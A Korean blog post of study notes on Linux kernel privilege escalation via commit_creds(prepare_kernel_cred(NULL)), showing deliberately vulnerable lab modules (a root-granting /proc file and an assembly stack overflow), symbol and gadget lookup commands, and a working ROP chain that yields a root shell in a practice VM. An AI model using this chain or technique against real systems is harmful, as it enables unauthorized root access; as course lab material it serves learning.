Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[Linux Kernel] 4. prepare & commit 본문

Hack/Kernel

[Linux Kernel] 4. prepare & commit

CIDY 2023. 7. 25. 20:11

https://orcinus-orca.tistory.com/241

 

[System_Hacking] Tasks

task 리눅스의 태스크는 프로그램 실행 단위를 말한다. 사용자가 어떤 프로그램을 실행하면 태스크가 생성되고, 그 프로그램의 코드가 실행된다. 리눅스에서는 하나의 프로세스와 스레드가 각각

orcinus-orca.tistory.com

앞서 task_struct의 cred필드의 euid를 조작해 권한 상승을 해 보았다. 앞선 실습 방식은 gdb내부에서 set명령어를 통해 간단히 조작해 본 것으로, 실제로는 당연히 쓸 수 없는 방법이었다.

 

하지만 실제로도 커널 취약점을 이용해 cred메모리를 조작할 수 있다면 다른 유저의 권한을 획득할 수 있다. 이를 위해서는 다음 조건이 가능해야 한다.

 

1. 커널 메모리 상의 현재 tast_struct나 cred구조체의 주소를 알아야 한다.

2. aaw이나 aar가 가능해야 한다.

3. cred구조체는 다른 태스크와 공유되는 자원으로, 임의 변경 시 레이스 컨디션이 발생해서 익스플로잇 안정성을 떨어뜨릴 수 있다. 따라서 실제 커널에서 태스크 신원 정보를 변경할 때에는 cred구조체를 직접 변경하지 않고 기존 구조체를 복사 + 수정한 뒤, 태스크가 복사된 cred를 가리키도록 한다.

 

이를 위해 prepare_kernel_cred()와 commit_creds()라는 커널 함수를 이용할 수 있다. (직접 cred를 조작하는 것 보다 안정적이다.)

 

 

prepare_kernel_cred


struct cred* prepare_kernel_cred(struct task_struct* daemon);

prepare_kernel_cred의 원형이다. 이 함수는 원하는 신원 정보의 cred구조체를 생성하는 함수이다.

if (daemon)
	old = get_task_cred(daemon);
else
	old = get_cred(&init_cred);

prepare_kernel_cred함수는 cred.c에서 그 코드를 찾아볼 수 있는데, 위 코드는 해당 함수의 일부이다. get_task_cred함수를 통해 인자로 전달된 태스크 구조체(daemon)의 cred구조체를 old에 할당한다.

 

struct cred init_cred = {
	...
	.uid			= GLOBAL_ROOT_UID,
	.gid			= GLOBAL_ROOT_GID,
	.suid			= GLOBAL_ROOT_UID,
	.sgid			= GLOBAL_ROOT_GID,
	.euid			= GLOBAL_ROOT_UID,
	.egid			= GLOBAL_ROOT_GID,
	.fsuid			= GLOBAL_ROOT_UID,
	.fsgid			= GLOBAL_ROOT_GID,
	.securebits		= SECUREBITS_DEFAULT,
	.cap_inheritable	= CAP_EMPTY_SET,
	.cap_permitted		= CAP_FULL_SET,
	.cap_effective		= CAP_FULL_SET,
	.cap_bset		= CAP_FULL_SET,
	...
};

만약 daemon이 null이면 init_cred를 가져오는데, 이건 위 구조체에서 볼 수 있듯이 root의 권한을 나타낸다. 

 

new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
*new = *old;
return new;

그런 다음 new를 새로 할당해서 old를 복사하고, new를 반환한다. 만약 이 함수의 daemon값으로 NULL을 전달할 수 있다면 root의 권한을 갖는 cred구조체를 반환할 수 있을 것이다.

 

요약: prepare_kernel_cred함수는 인자에 NULL을 넣으면 root권한 cred를 반환한다!

 

 

commit_creds


int commit_creds(struct cred* new);

commit_creds는 현재 태스크의 신원을 다른 신원(인자로 전달된 new)으로 변경하는 커널 함수로, 위와 같은 원형을 가진다. 이 함수 역시 cred.c에 있다.

 

struct task_struct *task = current;

우선 현재 태스크 구조체를 가리키는 포인터인 task를 선언한다.

 

rcu_assign_pointer(task->real_cred, new);
rcu_assign_pointer(task->cred, new);

그런 다음 인자로 받은 new로 현재 태스크의 신원 정보를 교체한다. (prepare_kernel_cred에서 생성한 new이다.)

 

즉, commit_creds(prepare_kernel_cred(NULL)); 을 수행하게 되면, prepare_kernel_cred는 root권한의 cred구조체를 반환하게 되는 것이고, 이 구조체는 곧 commit_creds에 전달되어 현재 태스크 권한을 root로 만들 수 있다.

 

물론 이를 위해서는 커널 권한에서 임의 코드를 실행시킬 수 있고, 위 두 함수의 주소를 알고 있어야 한다.

 

요약: commit_creds함수는 전달된 cred구조체로 현재 태스크 권한을 설정한다.

 

 

lke-eop


/* 모듈 부착(load) 시 호출되는 함수입니다. */
int __init init_module(void)
{
	/* /proc/lke-eop 파일을 등록합니다.
	 *
	 *   S_IWUGO: 모든 사용자가 쓰기 권한을 가지도록 합니다.
	 * &eop_fops: 파일을 대상으로 한 작업의 구현을 지정합니다.
	 */
	proc_eop = proc_create("lke-eop", S_IWUGO, NULL, &eop_fops);

	/* 운영체제 메모리가 부족하면 proc_create() 함수 호출이 실패합니다.
	 * ENOMEM 오류 코드를 반환하여 사용자에게 이 상태를 통보합니다.
	 */
	if (!proc_eop)
		return -ENOMEM;

	/* 모듈 부착(load)이 성공하였다는 메시지를 출력합니다. */
	pr_info("loaded\n");

	/* 작업이 성공하였음을 나타냅니다. */
	return 0;
}

위 코드는 lke-eop모듈의 소스이다. init_module은 모듈 부착(load)시 호출되는 함수이다. proc_create함수를 호출해서 /proc/lke-eop라는 proc파일을 생성한다. (인자로 들어가는 eop_fops는 이 파일을 대상으로 읽기, 쓰기 등 파일 함수를 호출할 때 어떤 함수를 호출할지 지정하는 구조체이다.)

 

static const struct file_operations eop_fops = {
    .owner = THIS_MODULE,
    .write = eop_write,
};

이 파일을 대상으로 write를 호출하면 eop_write함수가 호출된다.

 

static ssize_t eop_write(struct file *file, const char __user *buf,
                         size_t count, loff_t *ppos) {
  commit_creds(prepare_kernel_cred(NULL));
  return count;
}

eop_write는 앞서 보았던 두 함수를 호출하여 권한을 상승시켜 준다.

 

이 모듈을 커널에 부착하면 /proc/lke-eop가 생성된다.

 

그런 다음 bash에서 파일에 데이터를 쓸 때 사용하는 > 를 이용해 /proc/lke-eop에 write를 발생시키면 위와 같이 root권한을 획득할 수 있다.

 

 

lke-bof


이번에는 ROP를 이용해 commit_creds(prepare_kernel_cred(NULL))를 호출해보자. 

 

/* 모듈 부착(load) 시 호출되는 함수입니다. */
int __init init_module(void)
{
	/* /proc/lke-bof 파일을 등록합니다.
	 *
	 *   S_IWUGO: 모든 사용자가 쓰기 권한을 가지도록 합니다.
	 * &bof_fops: 파일을 대상으로 한 작업의 구현을 지정합니다.
	 */
	proc_bof = proc_create("lke-bof", S_IWUGO, NULL, &bof_fops);

	/* 운영체제 메모리가 부족하면 proc_create() 함수 호출이 실패합니다.
	 * ENOMEM 오류 코드를 반환하여 사용자에게 이 상태를 통보합니다.
	 */
	if (!proc_bof)
		return -ENOMEM;

	/* 모듈 부착(load)이 성공하였다는 메시지를 출력합니다. */
	pr_info("loaded\n");

	/* 작업이 성공하였음을 나타냅니다. */
	return 0;
}

init_module을 보면 이전과 동일하게 /proc/lke-bof파일을 생성한다. 

 

static const struct file_operations bof_fops = {
	/* 소유자 커널 모듈을 나타내어, 파일이 열려 있는 동안에는
	 * 모듈 탈착(unload)을 할 수 없도록 합니다. */
	.owner = THIS_MODULE,

	/* 파일 쓰기를 구현하는 함수의 포인터를 지정합니다.
	 * 해당 파일에 write() 시스템 콜이 실행되면 이 함수가 호출됩니다. */
	.write = bof_write
};

이 파일을 대상으로 write시스템 콜이 호출될 경우 bof_write라는 함수가 호출된다. 

 

static ssize_t bof_write(struct file *file, const char __user *buf,
			 size_t count, loff_t *ppos)
{
	bof_func(buf, count);  /* see vuln.S */
	return count;
}

bof_write함수는 위와 같은 형태인데, bof_func의 내용은 vuln.s에서 볼 수 있다.

 

	.intel_syntax noprefix
	.text

	# void bof_func(const char __user *buf, size_t count)
	.globl bof_func
	.type bof_func, @function
bof_func:
	# {
			.cfi_startproc
	push rbp
			.cfi_def_cfa_offset 16
			.cfi_offset 6, -16
	mov rbp, rsp
			.cfi_def_cfa_register 6
	sub rsp, 0x70

	lea rax, .Lleave_ret[rip]
	lea rcx, [rsi - 1]
	and rcx, ~7
	mov [rsp + rcx], rax    # *(RSP + ((count - 1) & ~0x7)) = &.Lleave_ret;

	mov rdx, rsi
	mov rsi, rdi
	lea rdi, [rsp - 0x8]
	xor eax, eax
	call _copy_from_user    # copy_from_user(RSP - 8, buf, count);

	# }
.Lleave_ret:
	leave
			.cfi_restore 6
			.cfi_def_cfa 7, 8
	ret
			.cfi_endproc
	.size bof_func, .-bof_func

	.section .note.GNU-stack, "", @progbits

bof_func를 보면  _copy_from_user함수로 사용자 입력을 커널 메모리에 복사한다. 이 함수는 커널 메모리 주소, 사용자 메모리 주소, 복사할 데이터 크기를 인자로 받는다. 첫 번째 인자로 전달되는 rsp - 8은 _copy_from_user호출 시 ret주소가 저장되는 위치이다. 따라서 AAAAAAAA을 입력할 경우, 0x4141414141414141은 커널 주소가 아니므로 커널 패닉이 발생한다.

 

이 취약점으로 ROP공격을 해 보자.

 

커널의 ROP도 일반 바이너리에서의 ROP와 크게 다르지 않다. 필요한 가젯과 심볼 주소를 찾아 잘 연결하면 된다. 현재 사용하고 있는 실습 커널의 경우 KASLR이 적용되지 않아 필요한 주소들을 데려오기만 하면 된다.

 

심볼 주소는 커널 소스 디렉토리의 System.map파일을 읽거나, vmlinux의 심볼을 읽어 찾을 수 있다.

 

cat System.map | grep -w -e prepare_kernel_cred -e commit_creds
readelf -s vmlinux | grep -w -e prepare_kernel_cred -e commit_creds

그냥 gdb에서 찾는 게 편한 것 같음

 

그리고 가젯도 일반 바이너리와 동일하게 ROPgadget해서 찾으면 된다. 라이브러리보다 가젯이 더 많은 것 같다.. 역시 커널..

 

from pwn import *

xor_edi = 0xffffffff810a1035
mov_rdi_rax = 0xffffffff8148df59
pop_rcx = 0xffffffff81043661
prepare_kernel_cred = 0xffffffff81081716
commit_creds = 0xffffffff8108157b

pay = b""
pay += p64(xor_edi) + p64(prepare_kernel_cred)
pay += p64(pop_rcx) + p64(0)
pay += p64(mov_rdi_rax) + p64(commit_creds)

open("/proc/lke-bof", "wb").write(pay)

가상머신 안에 pwntools설치하고 위와 같이 rop payload를 작성해 주었다. 실행은 잘 되는데 권한 상승이 잘 안 되었다.

 

>>> from struct import pack
>>> open("/proc/lke-bof", "wb").write(pack("6Q",
...     0xffffffff810a1035, # xor edi, edi ; ret
...     0xffffffff81081716, # <prepare_kernel_cred>
...     0xffffffff81043661, # pop rcx ; ret
...     0x0000000000000000, # [IMM (rcx): 0x0]
...     0xffffffff8148df59, # mov rdi, rax ; rep movsb byte ptr [rdi], byte ptr [rsi] ; ret
...     0xffffffff8108157b  # <commit_creds>
... ))
48
>>> import os
>>> os.getuid()
0
>>> os.execlp("bash", "-bash")
root@dh-lke:~#

그래서 위와 같이 python interpreter에 직접 입력해 주었더니 됐다. 

 

무슨 차이인지 모르겠지만 일단 납득.. 나중에 알아봐야겠다.

 

 

Ref.


https://dreamhack.io/lecture/courses/61

 

Exploit Tech: prepare & commit

commit_creds와 prepare_kernel_cred에 대해 배우고, 이들을 이용하여 권한 상승 실습을 합니다.

dreamhack.io

 

'Hack > Kernel' 카테고리의 다른 글

[Linux Kernel] 6. ret2usr  (0) 2023.07.26
[Linux Kernel] 5. Kernel Leak  (0) 2023.07.25
[Linux Kernel] 3. KASLR  (0) 2023.07.25
[Linux Kernel] 2. Kernel Debugging  (0) 2023.07.25
[Linux Kernel] 1. QEMU  (0) 2023.07.25